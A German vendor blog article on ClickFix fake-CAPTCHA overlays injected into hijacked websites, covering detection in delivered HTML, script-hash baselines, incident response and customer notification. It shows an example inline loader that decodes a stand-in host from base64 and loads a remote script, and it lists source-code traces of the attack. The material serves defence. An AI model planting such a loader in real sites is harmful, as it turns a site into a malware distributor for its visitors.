Gefälschte CAPTCHAs: Wenn die eigene Website Schadcode liefert

Was ClickFix auf einer gekaperten Website bedeutet

Die Cybersicherheitsagentur der EU beschreibt ClickFix in ihrem Lagebild für den Zeitraum Juli 2024 bis Juni 2025 als Technik, die ab dem ersten Quartal 2025 deutlich an Fahrt gewann, bei kriminellen wie bei staatlich gesteuerten Gruppen (ENISA). Die Overlays tarnen sich häufig als gefälschte CAPTCHA-Abfrage auf kompromittierten oder betrügerischen Websites und bringen Nutzer unter dem Vorwand einer Menschenprüfung dazu, PowerShell-Befehle auszuführen, an deren Ende Infostealer und Loader stehen (ENISA). Für Betreiber ist ein Satz aus demselben Bericht entscheidend: Ab dem zweiten Quartal 2025 bauten Angreifer gefälschte CAPTCHA- und Verifizierungsabfragen gezielt in kompromittierte Websites ein (ENISA). Die eigene Seite ist damit nicht mehr nur Ziel eines Angriffs, sondern Verteilweg für den nächsten.

Wie groß eine einzelne Welle werden kann, zeigt die ClearFake-Kampagne: Sie verteilte Schadsoftware zum Auslesen von Zugangsdaten, darunter Lumma und Vidar, und kam auf 9.300 bestätigte Infektionen (ENISA). Für Lumma allein nennt derselbe Bericht Meldungen über rund 394.000 betroffene Windows-Rechner weltweit zwischen März und Mai 2025, mit einem deutlichen Schwerpunkt in der EU (ENISA). Die Zahlen beschreiben Kampagnen, nicht die Zahl der gekaperten Websites. Sie zeigen aber, dass hinter einem unscheinbaren Overlay eine Infrastruktur stehen kann, die auf Masse ausgelegt ist.

Dass der Weg über kompromittierte legitime Websites auch in Ransomware-Fällen vorkommt, hält eine gemeinsame Warnung von CISA und FBI vom 22.07.2025 fest (CISA). Das FBI beobachtete dort den Erstzugang per Drive-by-Download über kompromittierte legitime Websites und nennt das für Ransomware-Gruppen einen ungewöhnlichen Weg (CISA). Dieselbe Warnung beschreibt die ClickFix-Variante so, wie Besucher sie erleben: Die CAPTCHA-Abfrage fordert dazu auf, das Windows-Ausführen-Fenster zu öffnen, die Zwischenablage einzufügen und einen Base64-kodierten PowerShell-Prozess zu starten; die Technik sei bereits in mehreren anderen Kampagnen verwendet worden, darunter Lumma Stealer und DarkGate (CISA). MITRE führt das Muster als eigene Untertechnik T1204.004, bei der Nutzer den Befehl per Kopieren und Einfügen selbst ausführen, und nennt gefälschte Fehlermeldungen und CAPTCHA-Abfragen auf bösartigen Websites ausdrücklich (MITRE).

Wie das Overlay in die Seite kommt

Am Anfang steht in der Regel nicht das Overlay selbst, sondern ein Zugang zur Website: eine ungepatchte Erweiterung, eine veraltete Bibliothek, ein wiederverwendetes Passwort für das Backend oder ein kompromittiertes Konto bei einem Dienstleister. Das BSI sieht den Hintergrund des Höchststands neu gemeldeter maliziöser Adressen im dritten Quartal 2024 vermutlich in Javascript-Schwachstellen, die Webseiten für eingeschleusten Schadcode anfällig machten und es Angreifern erlaubten, Malware in legitimen Webseiten zu verstecken (BSI). Ist der Zugang einmal da, nutzen Angreifer meist einen von drei Wegen, um das Overlay auszuspielen.

Allen drei Wegen ist gemeinsam, dass sich die Seite für einen menschlichen Betrachter kaum verändert. Die entscheidende Frage ist deshalb nicht, ob die Website anders aussieht, sondern ob sie anders zusammengesetzt ist: welche Skripte sie lädt, von welchen Hosts, und ob im HTML Code steht, der vorher nicht da war. Das gilt auch für legitime Einbindungen, denn ein kompromittierter Anbieter eines eingebundenen Skripts erreicht alle Websites, die es laden. Die Grundlagen dazu beschreibt der Beitrag über Third-Party-Scripts als Sicherheitsrisiko.

Die Verteiladresse wechselt, die Einbindung bleibt

Wie schnell sich die Infrastruktur hinter solchen Kampagnen dreht, zeigen die Zahlen, die das BSI aus der Meldeplattform abuse.ch auswertet. Im 1. Quartal 2025 kamen dort mehr als 100.000 neue maliziöse Webseiten hinzu, rund doppelt so viele wie im 1. Quartal 2024 (BSI). Den bisherigen Höchstwert markierte das 3. Quartal 2024 mit 284.698 neu gemeldeten maliziösen URLs (BSI). Gezählt werden dabei Webseiten, die Malware verteilen, also in der Regel die Adressen der nächsten Stufe. Eine gekaperte Unternehmensseite, die nur den Nachlader einbindet, taucht in dieser Statistik nicht zwingend selbst auf.

Kurz ist auch die Lebensdauer dieser Adressen. Im Berichtszeitraum war eine solche Webseite im Durchschnitt ca. 1,77 Stunden erreichbar, mit Schwankungen (BSI). Im Juli 2024 lag der Wert noch bei rund 2,3 Stunden, im März 2025 nach einem kurzen Anstieg im Dezember 2024 bei unter einer Stunde (BSI). Als Gründe nennt das BSI zum einen häufige Anbieterwechsel der Angreifer, zum anderen Meldungen aus der Sicherheits-Community an die Provider, die die Seiten dann vom Netz nehmen (BSI). Webfilter und Firewalls sperren bekannt gewordene maliziöse Webseiten über Sperrlisten (BSI).

Für Betreiber folgt daraus eine Beobachtung, die nicht in der Statistik steht, sondern aus der Arbeitsweise der Angreifer folgt: Die Adresse der nächsten Stufe ist das kurzlebigste Element der Kette, die Einbindung in der eigenen Seite das langlebigste. Wie widerstandsfähig solche Strukturen sind, zeigt ein Beispiel aus dem ENISA-Bericht. Nach einer von Europol koordinierten Aktion im Mai 2025, bei der rund 2.300 bösartige Domains der Lumma-Infrastruktur beschlagnahmt, abgeschaltet oder gesperrt wurden, nahm Lumma wenige Tage später den Betrieb offenbar wieder auf (ENISA). Für Infostealer insgesamt beobachtete die ENISA im Berichtszeitraum neue Verteilwege, darunter gefälschte CAPTCHA-Verifizierungsseiten (ENISA). Wer die eigene Website schützen will, hat mit dem ausgelieferten Quelltext deshalb die verlässlichere Messstelle als mit der Frage, ob eine bestimmte Zieladresse gerade bekannt ist.

Welche Spuren im Quelltext bleiben

Maßgeblich ist das HTML, das beim Besucher ankommt, nicht die Vorlage im CMS und nicht die Datei im Repository. Eingeschleuster Code steckt oft in Bereichen, die niemand regelmäßig liest: in einem Kopf- oder Fußzeilenfeld der Theme-Einstellungen, in einer Datenbankoption, in einer selten besuchten Unterseite oder in einer zusätzlichen Datei, die per Include eingebunden wird. Typische Spuren sind:

• Ein Skript von einem Host, der weder zum eigenen Betrieb noch zu einem bekannten Dienstleister gehört, oft mit zufällig wirkendem Namen und frisch registrierter Domain.
• Adressen, die erst zur Laufzeit entstehen, etwa über atob(), über zusammengesetzte Zeichenketten oder über Zeichencodes, damit kein Domainname im Klartext steht.
• Zugriffe auf die Zwischenablage, also Aufrufe von navigator.clipboard.writeText oder execCommand mit copy, ohne dass die Seite eine Kopierfunktion anbietet.
• Ein Element mit fester Positionierung über dem gesamten Viewport und sehr hohem z-index, häufig ein iFrame ohne Rahmen.
• Texte wie „Ich bin kein Roboter“ oder „Verify you are human“ im Quelltext einer Seite, die selbst keine Prüfabfrage einsetzt.
• Begleitspuren außerhalb des HTML: neue Administratorkonten, unbekannte Dateien im Upload- oder Theme-Verzeichnis, geänderte Zeitstempel an Vorlagen.

<!-- Auszug aus dem ausgelieferten HTML, gekürzt -->
<script src="/assets/theme/js/app.min.js?v=4.2"></script>
<script>
  (function () {
    var s = document.createElement("script");
    s.src = atob("aHR0cHM6Ly9jZG4tMTkyLmV4YW1wbGUuaW52YWxpZC9sLmpz");
    document.head.appendChild(s);
  })();
</script>

Das Beispiel ist bewusst unscheinbar. Die erste Zeile ist das echte Theme-Skript, darunter steht ein Inline-Block, der die Adresse cdn-192.example.invalid aus einer Base64-Zeichenkette dekodiert und ein weiteres Skript nachlädt. Im Quelltext steht kein fremder Domainname, erst der Browser erzeugt die Anfrage. Genau deshalb helfen zwei Blickwinkel: der Abgleich des ausgelieferten HTML gegen einen früheren Stand, der den neuen Inline-Block als Änderung am Markup zeigt, und der Blick auf die Hosts, die beim Rendern tatsächlich geladen werden. Der Screenshot-Changelog verbindet beides: Er bildet einen normalisierten Hash über das HTML und einen DOM-Fingerabdruck, der neu hinzugekommene externe Skript- und iFrame-Hosts erfasst, sofern der Code beim jeweiligen Lauf ausgeliefert wird (XICTRAQ).

Eine gut gesetzte Content Security Policy verringert den Schaden, weil ein Browser Skripte von nicht freigegebenen Hosts gar nicht erst lädt und Inline-Code ohne Nonce oder Hash ablehnt. Sie verhindert aber nicht, dass Angreifer mit Schreibzugriff die Richtlinie selbst ändern oder einen erlaubten Host missbrauchen. Wie eine belastbare Richtlinie aufgebaut wird, zeigt der Leitfaden Content Security Policy konfigurieren.

Den Skriptbestand gegen eine Grundlinie prüfen

Eine Grundlinie ist die dokumentierte Liste dessen, was eine Seite laden darf: welche externen Skripte von welchen Hosts, mit welchem Hash, und welche iFrames. Gegen diese Liste lassen sich zwei verschiedene Ereignisse unterscheiden. Eine neue Einbindung bedeutet, dass ein Skript oder Host auftaucht, der vorher nicht da war. Ein Drift bedeutet, dass ein bekanntes Skript unter derselben Adresse plötzlich anderen Inhalt liefert. Beide Fälle kommen bei ClickFix vor, je nachdem, ob der Angreifer eine neue Zeile einfügt oder eine vorhandene Datei verändert.

{
  "seite": "https://www.shop.example/",
  "gelernt_am": "2026-09-14",
  "skripte": [
    { "host": "cdn.zahlung.example", "pfad": "/v3/checkout.js", "sha256": "9f2c41…e07b" },
    { "host": "tags.statistik.example", "pfad": "/s.js", "sha256": "4b7a0d…91c3" }
  ],
  "iframes": ["www.karten.example"],
  "bestaetigt_von": "betrieb@shop.example"
}

Das Script-Integrity-Monitoring arbeitet nach diesem Muster für externe Skripte. Beim Scan einer eigenen, verifizierten Website ruft XICTRAQ bis zu 12 externe Skripte ab und lernt deren SHA-256-Hash als Grundlinie (XICTRAQ-Dokumentation). Alle zehn Minuten holt ein Prüflauf die überwachten Skripte erneut ab, bis zu 150 je Lauf, und vergleicht den neu gebildeten Hash (XICTRAQ-Dokumentation). Weicht er ab, meldet XICTRAQ den Drift einmal je Eintrag über die eingerichteten Kanäle, bis jemand ihn bestätigt oder verwirft; ein einmal gelernter Hash wird laut Dokumentation nicht automatisch überschrieben (XICTRAQ-Dokumentation). Jeder gelernte Eintrag steht im Skript-Panel mit Host und dem Zeitpunkt der ersten Sichtung. Einzelheiten stehen in der Dokumentation zur Skript-Integrität; die Funktion ist ab dem Business-Plan verfügbar.

Zur ehrlichen Einordnung gehören die Grenzen. Skripte vom selben Host wie die Seite und XICTRAQ-eigene Skripte nimmt die Skript-Integrität aus, und eingebetteter Inline-Code hat keine eigene Adresse, die sich hashen ließe (XICTRAQ-Dokumentation). Ein Inline-Nachlader wie im Beispiel oben fällt deshalb über den HTML-Abgleich im Changelog auf, nicht über den Skript-Hash. Wird dagegen eine Datei auf dem eigenen Server verändert, etwa das minifizierte Theme-Skript, bleibt das ausgelieferte HTML gleich; ob der nachgeladene fremde Host im gerenderten Dokument auftaucht, hängt davon ab, ob der Code beim Prüflauf überhaupt ausgeliefert wird. Diesen Fall deckt ein Abgleich der Dateien gegen das letzte Deployment verlässlicher ab, zum Beispiel über Prüfsummen aus dem Build-Prozess. Die Schichten ergänzen sich, keine ersetzt die andere.

Der Security-Scan ergänzt die laufende Überwachung um eine Bestandsaufnahme: Er listet die eingebundenen Drittskripte einer Seite und zeigt den Safe-Browsing-Status der Domain. Taucht dort ein Host auf, den niemand im Team zuordnen kann, ist das ein Anlass, die Einbindung zurückzuverfolgen, auch wenn noch kein Alarm ausgelöst wurde.

Wer eigene Einbindungen fremder Skripte festschreiben kann, sollte Subresource Integrity nutzen. Das integrity-Attribut hinterlegt den erwarteten Hash direkt im Skript-Tag, und konforme Browser müssen dafür SHA-256, SHA-384 und SHA-512 unterstützen (W3C). Liefert der Anbieter anderen Inhalt, verweigert der Browser die Ausführung. Gegen eine neu eingefügte Zeile hilft das nicht, gegen einen ausgetauschten Anbieter-Code schon. Wie sich das laufend kontrollieren lässt, beschreibt der Beitrag Subresource Integrity überwachen.

Für eine schnelle Stichprobe ohne Werkzeugkette reicht eine Kommandozeile. Der Abruf mit einer Windows-Kennung ist Absicht, denn manche Varianten liefern das Overlay nur an Systeme aus, auf denen die Anleitung funktioniert. Die Hostliste der Grundlinie stammt aus einem früheren Abruf, der als unverdächtig bekannt ist.

Die Stichprobe hat klare Grenzen. Der Hostvergleich zeigt hier keinen neuen Host, weil der Nachlader seine Adresse erst im Browser zusammensetzt; erst die Suche nach atob, nach dynamisch erzeugten Skript-Elementen und nach Zugriffen auf die Zwischenablage schlägt an. Zwei Treffer sind noch kein Befund, denn auch legitime Bibliotheken nutzen diese Funktionen. Sie sind aber ein Grund, die Fundstellen zu lesen. Das nachgeladene Skript selbst gehört nur auf einem isolierten System geöffnet, nie auf einem Arbeitsrechner mit gespeicherten Zugängen.

Sofortmaßnahmen, wenn das Overlay auftaucht

Meldet ein Kunde die seltsame Prüfabfrage oder schlägt eine der Prüfschichten an, zählt die Reihenfolge. Wer zuerst löscht, verliert die Beweise; wer zu lange sichert, lässt die Seite weiter verteilen. Ein vorbereiteter Notfallplan für die Website legt fest, wer entscheidet und wer technisch handelt. Bewährt hat sich diese Folge:

1. Beweise sichern: ausgeliefertes HTML, Kopfzeilen und die nachgeladene Adresse mit Zeitstempel speichern und die Logdateien von Webserver und CMS kopieren, bevor etwas geändert wird.
2. Stilllegen statt löschen: die Seite in den Wartungsmodus nehmen oder die betroffene Vorlage abschalten, damit keine weiteren Besucher das Overlay sehen.
3. Zugänge erneuern: Passwörter für Backend, Hosting, Datenbank und FTP ändern, offene Sitzungen beenden, API-Schlüssel und Zugänge von Dienstleistern prüfen und unbekannte Administratorkonten entfernen.
4. Einfallstor schließen: Erweiterungen, Themes und Bibliotheken aktualisieren. Wie Sie verwundbare JavaScript-Bibliotheken erkennen, beschreibt ein eigener Beitrag.
5. Sauber neu ausrollen: den Code aus einer bekannten, sauberen Quelle einspielen, statt einzelne Zeilen aus der laufenden Installation zu entfernen, und Datenbankinhalte gezielt nach eingeschleusten Skript-Tags durchsuchen.
6. Grundlinie neu lernen: erst nach der Bereinigung geänderte Skript-Hashes bestätigen und die Grundlinie im Changelog neu setzen, nie vorher.
7. Außenwirkung prüfen: Safe-Browsing-Status und Einträge in Sperrlisten kontrollieren und nach der Bereinigung eine Überprüfung beantragen.
8. Meldepflichten klären: Ob und in welcher Frist eine Meldung nötig ist, hängt von Branche und Größe ab. Einen Überblick gibt der Beitrag zu NIS2-Meldepflichten für Website-Betreiber.

Auf der Seite der Besucher empfehlen CISA und FBI unter anderem DNS-Filter, Firewalls für den Webzugriff und Schulungen, damit Nutzer Social-Engineering-Versuche erkennen (CISA). Betreiber können dazu beitragen, indem sie klar sagen, was ihre Seite nicht verlangt: Eine seriöse Prüfabfrage fordert niemanden auf, einen Befehl in das Ausführen-Fenster oder in eine Konsole einzufügen. Ein solcher Satz im Hilfebereich oder in der Bestellbestätigung kostet nichts und gibt Kunden einen Maßstab.

Kunden informieren, ohne mehr zu behaupten als bekannt ist

Wer ClickFix auf der eigenen Seite gefunden hat, muss davon ausgehen, dass einzelne Besucher der Anleitung gefolgt sind. Eine Information an Kunden braucht drei Angaben: den Zeitraum, in dem das Overlay ausgeliefert worden sein kann, eine genaue Beschreibung der Anleitung, damit Betroffene sich erinnern können, und einen Kontakt für Rückfragen. Dazu gehört ein klarer Rat, was Betroffene tun sollten: den Rechner vom Netz nehmen, Passwörter von einem anderen Gerät aus ändern und die eigene IT oder einen Fachbetrieb hinzuziehen.

Der Zeitraum ist oft die schwierigste Angabe. Hier helfen Aufzeichnungen, die vor dem Vorfall entstanden sind: der letzte Stand ohne die fremde Einbindung, der erste Stand mit ihr, archivierte Vorher-Nachher-Bilder und Logdateien. Ohne diese Belege bleibt nur eine vorsichtige Schätzung, und die sollte auch so benannt werden. Dieselben Aufzeichnungen verlangt häufig auch der Versicherer; welche Nachweise dabei zählen, beschreibt der Beitrag Cyberversicherung: Welche Website-Nachweise Agenturen liefern.

Ein gekaperter Shop sieht am Tag des Angriffs aus wie am Tag davor. Was sich verändert, steht im ausgelieferten Quelltext und in der Liste der Hosts, die er lädt, und genau dort sollte die Überwachung hinschauen.

— XICTRAQ

Prüfplan vor dem Besucherhoch im vierten Quartal

Im vierten Quartal steigen bei vielen Shops Besucherzahlen und Werbebudgets, und mit ihnen der Schaden, den ein unbemerktes Overlay anrichtet. Wer Vorjahreswerte vergleicht, sollte außerdem wissen, dass sich Aktionstage im Kalender verschieben; der Beitrag zum Vorjahresvergleich im Q4 zeigt, wie sich das sauber trennen lässt. Für die Sicherheit der Auslieferung reicht eine kurze Liste, die einmal vor dem Hochlauf abgearbeitet wird:

• Grundlinie aller externen Skripte und iFrame-Hosts auf den umsatzrelevanten Seiten erstellen und von einer verantwortlichen Person bestätigen lassen.
• Nicht mehr benötigte Einbindungen entfernen, denn ein Skript, das nicht geladen wird, kann auch nicht verändert ausgeliefert werden.
• Content Security Policy auf die tatsächlich benötigten Hosts einschränken und Inline-Code nur mit Nonce oder Hash erlauben.
• Subresource Integrity für alle festen Einbindungen fremder Bibliotheken setzen.
• Zugänge zum Backend mit einem zweiten Faktor absichern und Konten ehemaliger Dienstleister löschen.
• Die Alarmierung auf einen Kanal legen, der auch am Wochenende gelesen wird, und eine Vertretung benennen.
• Den Notfallablauf einmal durchspielen: Wer nimmt die Seite vom Netz, wer informiert Kunden, wo liegen die Zugänge?

Nach jedem geplanten Deployment lohnt die Sofort-Prüfung, die die Skripte einer Website, bis zu 60 an der Zahl, umgehend erneut abruft und die Hashes vergleicht (XICTRAQ-Dokumentation). So wird eine gewollte Änderung bestätigt, bevor sie als Drift gemeldet wird, und eine ungewollte fällt früher auf. Dieselbe Disziplin gilt für Funktionen, die im Weihnachtsgeschäft rechtlich zählen, etwa den Widerrufsbutton im Online-Shop.

Agenturen, die viele Kundenseiten betreuen, stehen vor derselben Aufgabe in größerer Zahl. Eine Grundlinie je Kundenseite, eine gemeinsame Alarmierung und ein fester Ablauf für die Bestätigung nach Deployments verhindern, dass eine einzelne gekaperte Seite im Rauschen untergeht. Wie sich das für mehrere Mandanten organisieren lässt, zeigt die Seite für Agenturen.